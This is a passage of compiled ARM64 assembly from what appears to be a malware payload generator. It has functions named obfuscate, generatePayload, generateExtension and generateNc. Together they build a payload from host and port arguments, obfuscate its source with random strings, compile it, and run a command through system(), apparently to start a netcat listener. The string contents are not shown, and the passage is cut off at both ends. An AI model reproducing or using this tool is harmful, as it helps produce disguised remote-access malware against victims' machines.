add sp, sp, #2064
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _generateRandomString ; -- Begin function generateRandomString
.p2align 2
_generateRandomString: ; @generateRandomString
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
str w1, [sp, #4]
str wzr, [sp]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp]
ldr w9, [sp, #4]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_4
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
bl _rand
; implicit-def: $x8
mov x8, x0
sxtw x8, w8
mov x10, #52
udiv x9, x8, x10
mul x9, x9, x10
subs x9, x8, x9
adrp x8, _generateRandomString.alphanum@PAGE
add x8, x8, _generateRandomString.alphanum@PAGEOFF
add x8, x8, x9
ldrb w8, [x8]
ldr x9, [sp, #8]
ldrsw x10, [sp]
add x9, x9, x10
strb w8, [x9]
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp]
add w8, w8, #1
str w8, [sp]
b LBB2_1
LBB2_4:
ldr x8, [sp, #8]
ldrsw x9, [sp, #4]
add x8, x8, x9
strb wzr, [x8]
ldr x0, [sp, #8]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _obfuscate ; -- Begin function obfuscate
.p2align 2
_obfuscate: ; @obfuscate
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
mov w9, #29216
movk w9, #15, lsl #16
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
sub sp, sp, #247, lsl #12 ; =1011712
sub sp, sp, #544
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str x0, [sp, #136]
str x1, [sp, #128]
str wzr, [sp, #116]
str wzr, [sp, #112]
str wzr, [sp, #108]
add x0, sp, #148
adrp x1, l___const.obfuscate.alphabet@PAGE
add x1, x1, l___const.obfuscate.alphabet@PAGEOFF
mov x2, #100
bl _memcpy
add x0, sp, #2248
str x0, [sp, #88] ; 8-byte Folded Spill
strb wzr, [sp, #2248]
adrp x1, l_.str.8@PAGE
add x1, x1, l_.str.8@PAGEOFF
mov x2, #10000
bl ___strcat_chk
ldr x0, [sp, #136]
adrp x1, l_.str.9@PAGE
add x1, x1, l_.str.9@PAGEOFF
bl _fopen
mov x8, x0
ldr x0, [sp, #88] ; 8-byte Folded Reload
str x8, [sp, #120]
ldr x1, [sp, #120]
bl _fputs
strb wzr, [sp, #2248]
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldrsw x8, [sp, #116]
str x8, [sp, #80] ; 8-byte Folded Spill
add x0, sp, #148
bl _strlen
ldr x8, [sp, #80] ; 8-byte Folded Reload
subs x8, x8, x0
cset w8, eq
tbnz w8, #0, LBB3_3
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
ldrsw x9, [sp, #116]
add x8, sp, #148
add x8, x8, x9
ldrb w8, [x8]
add x9, sp, #106
str x9, [sp, #48] ; 8-byte Folded Spill
strb w8, [sp, #106]
strb wzr, [sp, #107]
add x0, sp, #2248
str x0, [sp, #64] ; 8-byte Folded Spill
adrp x1, l_.str.10@PAGE
add x1, x1, l_.str.10@PAGEOFF
mov x2, #10000
str x2, [sp, #56] ; 8-byte Folded Spill
bl ___strcat_chk
bl _rand
mov w9, #50
sdiv w8, w0, w9
mul w8, w8, w9
subs w8, w0, w8
add w1, w8, #1
add x0, sp, #248
str x0, [sp, #72] ; 8-byte Folded Spill
bl _generateRandomString
ldr x2, [sp, #56] ; 8-byte Folded Reload
mov x1, x0
ldr x0, [sp, #64] ; 8-byte Folded Reload
bl ___strcat_chk
ldr x2, [sp, #56] ; 8-byte Folded Reload
ldr x0, [sp, #64] ; 8-byte Folded Reload
adrp x1, l_.str.11@PAGE
add x1, x1, l_.str.11@PAGEOFF
bl ___strcat_chk
ldr x1, [sp, #48] ; 8-byte Folded Reload
ldr x2, [sp, #56] ; 8-byte Folded Reload
ldr x0, [sp, #64] ; 8-byte Folded Reload
bl ___strcat_chk
ldr x2, [sp, #56] ; 8-byte Folded Reload
ldr x0, [sp, #64] ; 8-byte Folded Reload
adrp x1, l_.str.12@PAGE
add x1, x1, l_.str.12@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #56] ; 8-byte Folded Reload
ldr x0, [sp, #64] ; 8-byte Folded Reload
adrp x1, l_.str.13@PAGE
add x1, x1, l_.str.13@PAGEOFF
bl ___strcat_chk
ldr x1, [sp, #72] ; 8-byte Folded Reload
ldrsw x8, [sp, #116]
mov x9, #10000
mul x9, x8, x9
add x8, sp, #2, lsl #12 ; =8192
add x8, x8, #4056
add x0, x8, x9
mov x2, #-1
bl ___strcpy_chk
ldr w8, [sp, #116]
add w8, w8, #1
str w8, [sp, #116]
b LBB3_1
LBB3_3:
ldr x1, [sp, #120]
add x0, sp, #2248
str x0, [sp, #40] ; 8-byte Folded Spill
bl _fputs
ldr x0, [sp, #40] ; 8-byte Folded Reload
strb wzr, [sp, #2248]
adrp x1, l_.str.14@PAGE
add x1, x1, l_.str.14@PAGEOFF
mov x2, #10000
bl ___strcat_chk
b LBB3_4
LBB3_4: ; =>This Loop Header: Depth=1
; Child Loop BB3_6 Depth 2
ldrsw x8, [sp, #108]
str x8, [sp, #32] ; 8-byte Folded Spill
ldr x0, [sp, #128]
bl _strlen
ldr x8, [sp, #32] ; 8-byte Folded Reload
subs x8, x8, x0
cset w8, eq
tbnz w8, #0, LBB3_12
b LBB3_5
LBB3_5: ; in Loop: Header=BB3_4 Depth=1
ldr x8, [sp, #128]
ldrsw x9, [sp, #108]
add x8, x8, x9
ldrb w8, [x8]
strb w8, [sp, #104]
strb wzr, [sp, #105]
str wzr, [sp, #112]
b LBB3_6
LBB3_6: ; Parent Loop BB3_4 Depth=1
; => This Inner Loop Header: Depth=2
ldrsw x8, [sp, #112]
str x8, [sp, #24] ; 8-byte Folded Spill
add x0, sp, #148
bl _strlen
ldr x8, [sp, #24] ; 8-byte Folded Reload
subs x8, x8, x0
cset w8, hs
tbnz w8, #0, LBB3_11
b LBB3_7
LBB3_7: ; in Loop: Header=BB3_6 Depth=2
ldrsw x9, [sp, #112]
add x8, sp, #148
add x8, x8, x9
ldrb w8, [x8]
strb w8, [sp, #102]
strb wzr, [sp, #103]
ldrsb w8, [sp, #104]
ldrsb w9, [sp, #102]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB3_9
b LBB3_8
LBB3_8: ; in Loop: Header=BB3_6 Depth=2
ldrsw x8, [sp, #112]
mov x9, #10000
mul x9, x8, x9
add x8, sp, #2, lsl #12 ; =8192
add x8, x8, #4056
add x1, x8, x9
add x0, sp, #2248
str x0, [sp, #16] ; 8-byte Folded Spill
mov x2, #10000
str x2, [sp, #8] ; 8-byte Folded Spill
bl ___strcat_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #16] ; 8-byte Folded Reload
adrp x1, l_.str.15@PAGE
add x1, x1, l_.str.15@PAGEOFF
bl ___strcat_chk
b LBB3_9
LBB3_9: ; in Loop: Header=BB3_6 Depth=2
b LBB3_10
LBB3_10: ; in Loop: Header=BB3_6 Depth=2
ldr w8, [sp, #112]
add w8, w8, #1
str w8, [sp, #112]
b LBB3_6
LBB3_11: ; in Loop: Header=BB3_4 Depth=1
ldr w8, [sp, #108]
add w8, w8, #1
str w8, [sp, #108]
b LBB3_4
LBB3_12:
add x0, sp, #2248
str x0, [sp] ; 8-byte Folded Spill
bl _strlen
mov x8, x0
ldr x0, [sp] ; 8-byte Folded Reload
subs x9, x8, #1
mov x8, x0
add x8, x8, x9
strb wzr, [x8]
adrp x1, l_.str.16@PAGE
add x1, x1, l_.str.16@PAGEOFF
mov x2, #10000
bl ___strcat_chk
ldr x0, [sp] ; 8-byte Folded Reload
ldr x1, [sp, #120]
bl _fputs
ldr x0, [sp, #120]
bl _fclose
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB3_14
b LBB3_13
LBB3_13:
bl ___stack_chk_fail
LBB3_14:
add sp, sp, #247, lsl #12 ; =1011712
add sp, sp, #544
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _generatePayload ; -- Begin function generatePayload
.p2align 2
_generatePayload: ; @generatePayload
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #2144
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str x0, [sp, #128]
str x1, [sp, #120]
str x2, [sp, #112]
str x3, [sp, #104]
str x4, [sp, #96]
str x5, [sp, #88]
str x6, [sp, #80]
str x7, [sp, #72]
add x0, sp, #136
str x0, [sp, #64] ; 8-byte Folded Spill
strb wzr, [sp, #136]
adrp x1, l_.str.17@PAGE
add x1, x1, l_.str.17@PAGEOFF
mov x2, #2000
str x2, [sp, #56] ; 8-byte Folded Spill
bl ___strcat_chk
ldr x2, [sp, #56] ; 8-byte Folded Reload
ldr x0, [sp, #64] ; 8-byte Folded Reload
ldr x1, [sp, #128]
bl ___strcat_chk
ldr x2, [sp, #56] ; 8-byte Folded Reload
ldr x0, [sp, #64] ; 8-byte Folded Reload
adrp x1, l_.str.18@PAGE
add x1, x1, l_.str.18@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #56] ; 8-byte Folded Reload
ldr x0, [sp, #64] ; 8-byte Folded Reload
ldr x1, [sp, #128]
bl ___strcat_chk
ldr x0, [sp, #96]
adrp x1, l_.str.19@PAGE
add x1, x1, l_.str.19@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB4_2
b LBB4_1
LBB4_1:
ldr x0, [sp, #96]
adrp x1, l_.str.20@PAGE
add x1, x1, l_.str.20@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB4_3
b LBB4_2
LBB4_2:
add x0, sp, #136
str x0, [sp, #48] ; 8-byte Folded Spill
adrp x1, l_.str.21@PAGE
add x1, x1, l_.str.21@PAGEOFF
mov x2, #2000
str x2, [sp, #40] ; 8-byte Folded Spill
bl ___strcat_chk
ldr x2, [sp, #40] ; 8-byte Folded Reload
ldr x0, [sp, #48] ; 8-byte Folded Reload
ldr x1, [sp, #88]
bl ___strcat_chk
ldr x2, [sp, #40] ; 8-byte Folded Reload
ldr x0, [sp, #48] ; 8-byte Folded Reload
adrp x1, l_.str.22@PAGE
add x1, x1, l_.str.22@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #40] ; 8-byte Folded Reload
ldr x0, [sp, #48] ; 8-byte Folded Reload
ldr x1, [sp, #128]
bl ___strcat_chk
ldr x2, [sp, #40] ; 8-byte Folded Reload
ldr x0, [sp, #48] ; 8-byte Folded Reload
adrp x1, l_.str.23@PAGE
add x1, x1, l_.str.23@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #40] ; 8-byte Folded Reload
ldr x0, [sp, #48] ; 8-byte Folded Reload
ldr x1, [sp, #112]
bl ___strcat_chk
ldr x2, [sp, #40] ; 8-byte Folded Reload
ldr x0, [sp, #48] ; 8-byte Folded Reload
adrp x1, l_.str.24@PAGE
add x1, x1, l_.str.24@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #40] ; 8-byte Folded Reload
ldr x0, [sp, #48] ; 8-byte Folded Reload
ldr x1, [sp, #80]
bl ___strcat_chk
ldr x2, [sp, #40] ; 8-byte Folded Reload
ldr x0, [sp, #48] ; 8-byte Folded Reload
adrp x1, l_.str.25@PAGE
add x1, x1, l_.str.25@PAGEOFF
bl ___strcat_chk
b LBB4_3
LBB4_3:
add x0, sp, #136
str x0, [sp, #24] ; 8-byte Folded Spill
adrp x1, l_.str.26@PAGE
add x1, x1, l_.str.26@PAGEOFF
mov x2, #2000
str x2, [sp, #16] ; 8-byte Folded Spill
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldr x1, [sp, #120]
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
adrp x1, l_.str.23@PAGE
add x1, x1, l_.str.23@PAGEOFF
str x1, [sp] ; 8-byte Folded Spill
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldr x1, [sp, #112]
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
adrp x1, l_.str.27@PAGE
add x1, x1, l_.str.27@PAGEOFF
str x1, [sp, #8] ; 8-byte Folded Spill
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldr x1, [sp, #112]
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
adrp x1, l_.str.28@PAGE
add x1, x1, l_.str.28@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldr x1, [sp, #120]
bl ___strcat_chk
ldr x1, [sp] ; 8-byte Folded Reload
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldr x1, [sp, #104]
bl ___strcat_chk
ldr x1, [sp, #8] ; 8-byte Folded Reload
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldr x1, [sp, #104]
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
adrp x1, l_.str.29@PAGE
add x1, x1, l_.str.29@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldr x1, [sp, #112]
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
adrp x1, l_.str.30@PAGE
add x1, x1, l_.str.30@PAGEOFF
bl ___strcat_chk
ldr x1, [sp, #24] ; 8-byte Folded Reload
adrp x0, l_.str.31@PAGE
add x0, x0, l_.str.31@PAGEOFF
str x0, [sp, #32] ; 8-byte Folded Spill
bl _obfuscate
ldr x0, [sp, #32] ; 8-byte Folded Reload
ldr x1, [sp, #72]
adrp x2, l_.str.32@PAGE
add x2, x2, l_.str.32@PAGEOFF
bl _compile
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB4_5
b LBB4_4
LBB4_4:
bl ___stack_chk_fail
LBB4_5:
add sp, sp, #2144
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _generateExtension ; -- Begin function generateExtension
.p2align 2
_generateExtension: ; @generateExtension
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #2080
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str x0, [sp, #64]
str x1, [sp, #56]
str x2, [sp, #48]
str x3, [sp, #40]
str x4, [sp, #32]
add x0, sp, #72
str x0, [sp, #16] ; 8-byte Folded Spill
strb wzr, [sp, #72]
adrp x1, l_.str.33@PAGE
add x1, x1, l_.str.33@PAGEOFF
mov x2, #2000
str x2, [sp, #8] ; 8-byte Folded Spill
bl ___strcat_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #16] ; 8-byte Folded Reload
ldr x1, [sp, #64]
bl ___strcat_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #16] ; 8-byte Folded Reload
adrp x1, l_.str.23@PAGE
add x1, x1, l_.str.23@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #16] ; 8-byte Folded Reload
ldr x1, [sp, #40]
bl ___strcat_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #16] ; 8-byte Folded Reload
adrp x1, l_.str.24@PAGE
add x1, x1, l_.str.24@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #16] ; 8-byte Folded Reload
ldr x1, [sp, #56]
bl ___strcat_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #16] ; 8-byte Folded Reload
adrp x1, l_.str.34@PAGE
add x1, x1, l_.str.34@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #16] ; 8-byte Folded Reload
ldr x1, [sp, #48]
bl ___strcat_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #16] ; 8-byte Folded Reload
adrp x1, l_.str.35@PAGE
add x1, x1, l_.str.35@PAGEOFF
bl ___strcat_chk
ldr x1, [sp, #16] ; 8-byte Folded Reload
adrp x0, l_.str.36@PAGE
add x0, x0, l_.str.36@PAGEOFF
str x0, [sp, #24] ; 8-byte Folded Spill
bl _obfuscate
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldr x1, [sp, #32]
adrp x2, l_.str.37@PAGE
add x2, x2, l_.str.37@PAGEOFF
bl _compile
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB5_2
b LBB5_1
LBB5_1:
bl ___stack_chk_fail
LBB5_2:
add sp, sp, #2080
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _generateNc ; -- Begin function generateNc
.p2align 2
_generateNc: ; @generateNc
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #2048
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str x0, [sp, #32]
add x8, sp, #40
str x8, [sp, #24] ; 8-byte Folded Spill
strb wzr, [sp, #40]
ldr x8, [sp, #32]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldr x0, [sp, #24] ; 8-byte Folded Reload
adrp x1, l_.str.38@PAGE
add x1, x1, l_.str.38@PAGEOFF
mov x2, #2000
str x2, [sp, #16] ; 8-byte Folded Spill
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldr x1, [sp, #32]
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
adrp x1, l_.str.6@PAGE
add x1, x1, l_.str.6@PAGEOFF
bl ___strcat_chk
ldr x0, [sp, #24] ; 8-byte Folded Reload
bl _system
mov w0, #1
bl _sleep
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB6_2
b LBB6_1
LBB6_1:
bl ___stack_chk_fail
LBB6_2:
add sp, sp, #2048
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #3072
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #300]
str w0, [sp, #296]
str x1, [sp, #288]
mov x0, #0
bl _time
; kill: def $w0 killed $w0 killed $x0
bl _srand
adrp x0, l_.str.39@PAGE
add x0, x0, l_.str.39@PAGEOFF
bl _printf
adrp x0, l_.str.40@PAGE
add x0, x0, l_.str.40@PAGEOFF
bl _printf
adrp x0, l_.str.41@PAGE
add x0, x0, l_.str.41@PAGEOFF
bl _printf
adrp x0, l_.str.42@PAGE
add x0, x0, l_.str.42@PAGEOFF
bl _printf
adrp x0, l_.str.43@PAGE
add x0, x0, l_.str.43@PAGEOFF
bl _printf
adrp x0, l_.str.44@PAGE
add x0, x0, l_.str.44@PAGEOFF
bl _printf
adrp x0, l_.str.45@PAGE
add x0, x0, l_.str.45@PAGEOFF
bl _printf
adrp x0, l_.str.46@PAGE
add x0, x0, l_.str.46@PAGEOFF
bl _printf
sub x0, x29, #224
adrp x1, l___const.main.payload_name@PAGE
add x1, x1, l___const.main.payload_name@PAGEOFF
mov x2, #200
bl _memcpy
str wzr, [sp, #284]
str wzr, [sp, #280]
str wzr, [sp, #276]
str wzr, [sp, #272]
ldr w8, [sp, #296]
subs w8, w8, #7
cset w8, ne
tbnz w8, #0, LBB7_46
b LBB7_1
LBB7_1:
ldr x8, [sp, #288]
ldr x8, [x8, #8]
ldrsb w8, [x8]
subs w8, w8, #45
cset w8, ne
tbnz w8, #0, LBB7_4
b LBB7_2
LBB7_2:
ldr x8, [sp, #288]
ldr x8, [x8, #8]
ldrsb w8, [x8, #1]
subs w8, w8, #115
cset w8, ne
tbnz w8, #0, LBB7_4
b LBB7_3
LBB7_3:
ldr x8, [sp, #288]
ldr x1, [x8, #16]
add x0, sp, #2344
mov x2, #255
bl ___strcpy_chk
mov w8, #1
str w8, [sp, #272]
b LBB7_12
LBB7_4:
ldr x8, [sp, #288]
ldr x8, [x8, #8]
ldrsb w8, [x8]
subs w8, w8, #45
cset w8, ne
tbnz w8, #0, LBB7_7
b LBB7_5
LBB7_5:
ldr x8, [sp, #288]
ldr x8, [x8, #8]
ldrsb w8, [x8, #1]
subs w8, w8, #104
cset w8, ne
tbnz w8, #0, LBB7_7
b LBB7_6
LBB7_6:
ldr x8, [sp, #288]
ldr x1, [x8, #16]
add x0, sp, #1579
mov x2, #255
bl ___strcpy_chk
mov w8, #1
str w8, [sp, #276]
b LBB7_11
LBB7_7:
ldr x8, [sp, #288]
ldr x8, [x8, #8]
ldrsb w8, [x8]
subs w8, w8, #45
cset w8, ne
tbnz w8, #0, LBB7_10
b LBB7_8
LBB7_8:
ldr x8, [sp, #288]
ldr x8, [x8, #8]
ldrsb w8, [x8, #1]
subs w8, w8, #112
cset w8, ne
tbnz w8, #0, LBB7_10
b LBB7_9
LBB7_9:
ldr x8, [sp, #288]
ldr x1, [x8, #16]
add x0, sp, #1324
mov x2, #255
bl ___strcpy_chk
mov w8, #1
str w8, [sp, #280]
b LBB7_10
LBB7_10:
b LBB7_11
LBB7_11:
b LBB7_12
LBB7_12:
ldr x8, [sp, #288]
ldr x8, [x8, #24]
ldrsb w8, [x8]
subs w8, w8, #45
cset w8, ne
tbnz w8, #0, LBB7_16
b LBB7_13
LBB7_13:
ldr x8, [sp, #288]
ldr x8, [x8, #24]
ldrsb w8, [x8, #1]
subs w8, w8, #115
cset w8, ne
tbnz w8, #0, LBB7_16
b LBB7_14
LBB7_14:
ldr w8, [sp, #272]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB7_16
b LBB7_15
LBB7_15:
ldr x8, [sp, #288]
ldr x1, [x8, #32]
add x0, sp, #2344
mov x2, #255
bl ___strcpy_chk
mov w8, #1
str w8, [sp, #272]
b LBB7_26
LBB7_16:
ldr x8, [sp, #288]
ldr x8, [x8, #24]
ldrsb w8, [x8]
subs w8, w8, #45
cset w8, ne
tbnz w8, #0, LBB7_20
b LBB7_17
LBB7_17:
ldr x8, [sp, #288]
ldr x8, [x8, #24]
ldrsb w8, [x8, #1]
subs w8, w8, #104
cset w8, ne
tbnz w8, #0, LBB7_20
b LBB7_18
LBB7_18:
ldr w8, [sp, #276]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB7_20
b LBB7_19
LBB7_19:
ldr x8, [sp, #288]
ldr x1, [x8, #32]
add x0, sp, #1579
mov x2, #255
bl ___strcpy_chk
mov w8, #1
str w8, [sp, #276]
b LBB7_25
LBB7_20:
ldr x8, [sp, #288]
ldr x8, [x8, #24]
ldrsb w8, [x8]
subs w8, w8, #45
cset w8, ne
tbnz w8, #0, LBB7_24
b LBB7_21
LBB7_21:
ldr x8, [sp, #288]
ldr x8, [x8, #24]
ldrsb w8, [x8, #1]
subs w8, w8, #112
cset w8, ne
tbnz w8, #0, LBB7_24
b LBB7_22
LBB7_22:
ldr w8, [sp, #280]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB7_24
b LBB7_23
LBB7_23:
ldr x8, [sp, #288]
ldr x1, [x8, #32]
add x0, sp, #1324
mov x2, #255
bl ___strcpy_chk
mov w8, #1
str w8, [sp, #280]
b LBB7_24
LBB7_24:
b LBB7_25
LBB7_25:
b LBB7_26
LBB7_26:
ldr x8, [sp, #288]
ldr x8, [x8, #40]
ldrsb w8, [x8]
subs w8, w8, #45
cset w8, ne
tbnz w8, #0, LBB7_30
b LBB7_27
LBB7_27:
ldr x8, [sp, #288]
ldr x8, [x8, #40]
ldrsb w8, [x8, #1]
subs w8, w8, #112
cset w8, ne
tbnz w8, #0, LBB7_30
b LBB7_28
LBB7_28:
ldr w8, [sp, #272]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB7_30
b LBB7_29
LBB7_29:
ldr x8, [sp, #288]
ldr x1, [x8, #48]
add x0, sp, #2344
mov x2, #255
bl ___strcpy_chk
b LBB7_40
LBB7_30:
ldr x8, [sp, #288]
ldr x8, [x8, #40]
ldrsb w8, [x8]
subs w8, w8, #45
cset w8, ne
tbnz w8, #0, LBB7_34
b LBB7_31
LBB7_31:
ldr x8, [sp, #288]
ldr x8, [x8, #40]
ldrsb w8, [x8, #1]
subs w8, w8, #104
cset w8, ne
tbnz w8, #0, LBB7_34
b LBB7_32
LBB7_32:
ldr w8, [sp, #276]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB7_34
b LBB7_33
LBB7_33:
ldr x8, [sp, #288]
ldr x1, [x8, #48]
add x0, sp, #1579
mov x2, #255
bl ___strcpy_chk
b LBB7_39
LBB7_34:
ldr x8, [sp, #288]
ldr x8, [x8, #40]
ldrsb w8, [x8]
subs w8, w8, #45
cset w8, ne
tbnz w8, #0, LBB7_38
b LBB7_35
LBB7_35:
ldr x8, [sp, #288]
ldr x8, [x8, #40]
ldrsb w8, [x8, #1]
subs w8, w8, #112
cset w8, ne
tbnz w8, #0, LBB7_38
b LBB7_36
LBB7_36:
ldr w8, [sp, #280]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB7_38
b LBB7_37
LBB7_37:
ldr x8, [sp, #288]
ldr x1, [x8, #48]
add x0, sp, #1324
